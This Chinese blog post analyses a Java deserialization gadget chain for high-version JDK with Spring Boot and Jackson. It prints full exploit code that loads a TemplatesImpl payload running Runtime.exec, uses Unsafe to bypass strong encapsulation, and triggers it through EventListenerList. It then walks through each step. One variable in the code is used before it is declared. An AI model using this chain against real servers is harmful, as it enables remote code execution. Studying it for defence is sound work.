高版本JDK+SpringBoot原生反序列化通杀链
0x00 前言
那天一个朋友忽然在群里给我发了一个.txt.exe文件,说告诉我是spring+jdk高版本通杀链,em我第一时间就是直接怼了回去

事实证明他还真是,他让我翻p神星球里的内容,我一看还真有师傅发了一个文章......没办法了,来分析一下大佬的新链子
0x01 分析
因为我没有在另一个星球里并且我自己也是个小菜鸡,所以这篇文章就围绕N1ght师傅的payload进行一个分析
其实乍一看对于我这个学习还没多久的小cj来看还是有点难的,但是仔细看看其实发现里面有一些知识点都还是了解过的,只不过放在一块有点陌生了(bushi
贴payload:
package org.example;
import org.example.ReflectTools;
import org.example.SerialTools;
import org.example.UnSafeTools;
import javassist.ClassPool;
import sun.misc.Unsafe;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewConstructor;
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.Vector;
// --add-opens java.base/java.lang=ALL-UNNAMED
public class Main {
public static void main(String[] args) throws Exception {
//第一步构造恶意类和创建TemplatesImpl实例并赋值特定字段
//生成恶意类calc
CtClass ctClass = pool.makeClass("Calc");
ctClass.addConstructor(CtNewConstructor.make("public Calc() { Runtime.getRuntime().exec(\"calc\"); }", ctClass));
//生成一个类foo
CtClass ctClass1 = pool.makeClass("Foo");
//获取两个类的字节码
byte[] bytecode = ctClass.toBytecode();
byte[] bytecode1 = ctClass1.toBytecode();
//构造templateimpl实例
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//通过反射创建对象,不调用其构造函数
Object templates = ReflectTools.createWithoutConstructor(aClass);
//设置TemplatesImpl的_name,_sdom,_tfactory,_bytecodes(包含恶意类calc和foo的字节码)字段
UnSafeTools.setObject(templates, aClass.getDeclaredField("_name"), "n1ght");
UnSafeTools.setObject(templates, aClass.getDeclaredField("_sdom"), new ThreadLocal());
UnSafeTools.setObject(templates, aClass.getDeclaredField("_tfactory"), UnSafeTools.newClass(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
UnSafeTools.setObject(templates, aClass.getDeclaredField("_bytecodes"), new byte[][] {bytecode, bytecode1});
// UnSafeTools.setObject(templates,aClass.getDeclaredField("_bytecodes"), new byte[][]{TomcatEcho.testCalc()});
//第二步:使用JdkDynamicAopProxy代理去使得jackson能够稳定获得特定的getter方法
//创建spring aop代理==>这里创建了一个JdkDynamicAopProxy代理,该代理实现了Templates接口,并将TemplatesImpl实例作为目标。当代理对象的方法被调用时,会经过JdkDynamicAopProxy的invoke方法,最终调用到TemplatesImpl的方法。
Class<?> jdkDynamicAopProxy = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Class<?> advisedSupport = Class.forName("org.springframework.aop.framework.AdvisedSupport");
Constructor<?> constructor = jdkDynamicAopProxy.getConstructor(advisedSupport);
constructor.setAccessible(true);
Object advisedSupport1 = advisedSupport.newInstance();
Method setTarget = advisedSupport1.getClass().getMethod("setTarget", Object.class);
setTarget.invoke(advisedSupport1, templates); // 将TemplatesImpl实例设置为目标
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(advisedSupport1);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, invocationHandler);
//第三步:jackson反序列化
//创建POJONode
Class<?> name = Class.forName("com.fasterxml.jackson.databind.node.POJONode");
Constructor<?> constructor1 = name.getConstructor(Object.class);
Object node = constructor1.newInstance(proxy);
//修改BaseJsonNode类,移除writeReplace方法,让反序列化走正常渠道,不走BaseJsonNode类的反序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass3= pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass3.getDeclaredMethod("writeReplace");
ctClass3.removeMethod(writeReplace);
ctClass3.toClass();
//第四步:EventListenerList#readObject触发POJONode#toString实现任意调用getter方法
//构造EventListenerList和UndoManager
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) UnSafeTools.getObject(manager, CompoundEdit.class.getDeclaredField("edits"));
vector.add(node);
//将EventListenerList的listenerList字段设置为一个数组
UnSafeTools.setObject(list2,EventListenerList.class.getDeclaredField("listenerList"), new Object[]{InternalError.class, manager});
// proxy.toString();
//序列化和反序列化
String s = SerialTools.base64Serial(list2);
System.out.println(s);
Object o = SerialTools.base64DeSerial(s);
}
}
这条链子中首先主要依赖的还是TemplatesImpl类,中间用到了 jackson反序列化和 利用 Unsafe 篡改 Module 机制,从而绕过 JDK 的强封装 以及一些tricks
第一步:构造恶意类和创建TemplatesImpl实例并赋值特定字段
我就不讲了,就是TemplatesImpl利用常规的一些东西
第二步:使用JdkDynamicAopProxy代理去使得jackson能够稳定获得特定的getter方法
看这个之前建议先看第三步
JdkDynamicAopProxy是spring boot自带的一个代理工具类
那为什么要使用JdkDynamicAopProxy代理去可以稳定获得getter方法呢?
参考文章:https://research.qianxin.com/archives/2414中的3.2 JNDI 注入的 Spring 环境利用

使用JdkDynamicAopProxy进行一个封装之后就可以是jackson稳定获得特定的getter

简单理解可以认为就是使用该代理并配置Template接口后,他只会去获取该接口中的getter方法,而不包括你要封装的对象的其它一堆getter方法
Template接口:

TemplatesImpl类:

第三步:jackson反序列化
jackson反序列化参考文章:https://www.cnblogs.com/F12-blog/p/18129942(TemplatesImpl链)
其中涉及到一些操作的原因比如为什么要重写BaseJsonNode类并注释writeReplace方法:
当你尝试将精心构造的、内部包裹了TemplatesImpl的POJONode对象序列化成JSON(这是生成攻击载荷的必要步骤)时,Jackson会触发BaseJsonNode.writeReplace()方法。这个方法会尝试将POJONode“净化”为一个与原始对象结构完全不同的NodeSerialization对象。当你再反序列化这个JSON时,你得到的只是一个普通的、无害的JSON节点,而不是那个精心构造的、包裹着TemplatesImpl的POJONode。整个利用链在序列化生成Payload的阶段就被“断掉”了
jackson反序列化主要是利用 POJONode#toString可以调用任意getter方法来实现的rce(也就是TemplatesImpl)
然后就是去找谁调用了 POJONode#toString,在低版本中是可以通过 BadAttributeValueExpException 的readobject去触发tostring,但是在高版本里,就没有触发的 toString 的了

第四步:EventListenerList#readObject触发POJONode#toString实现任意调用getter方法
因为上面提到了jdk高版本无法通过BadAttributeValueExpException去触发
payload中用到了一个使用EventListenerList触发任意toString
https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString/
EventListenerList.readObject()
-> EventListenerList.add(Class t, EventListener l)
-> (隐式 toString) UndoManager.toString()
-> CompoundEdit.toString()
-> (隐式 toString) Vector.toString() / AbstractCollection.toString()
-> Iterator.next()
-> StringBuilder.append(Object obj)
-> String.valueOf(Object obj)
-> 恶意对象.toString() // 最终触发点
说实话这个trick还真是第一次了解,又涨脑子了
Trick1:绕过强封装
我们可以看到N1ght师傅的payload中使用了UnSafeTools和ReflectTools去操作那些反射的类并且赋值,这是因为在jdk高版本之后使用了一种叫强封装的机制:
默认情况下锁定内部 API 但允许您为特定用例解锁特定 API 的机制
这意味着使用反射访问JDK内部API的代码将不再被允许,任何对java.*代码中的非公共字段和方法进行反射将抛出InaccessibleObjectException异常
那有哪些是内部api呢?
参考官方文档:https://dev.java-lang.cn/learn/modules/strong-encapsulation/

在这里面我们可以看到虽然sun.*包被限制了,但是sun.misc和sun.reflect并没有被限制,仍可供所有JDK版本(包括JDK17)中的工具和库进行反射
而在sun.misc包下就有着Unsafe类。那么该如何利用Unsafe来打破JDK17及以上的强封装module限制呢?
讲的很好,我就不多赘述了
Trick2:
在上面的分析中,我们使用 JdkDynamicAopProxy 对templates对象进行封装并配置,除了可以稳定获取getter方法之外,还有就是可以绕过这个强封装模块化
因为templates对象是在com.sun.*包下,是输入官方文档中的内部api

而Templates接口是在javax.xml包下,是不属于内部api的范围,也就绕过了这个机制

0x03 总结
这篇文章主要就是简单分析一下N1ght师傅的payload,可能其中有一些理解上的错误,希望可以指正一下


浙公网安备 33010602011771号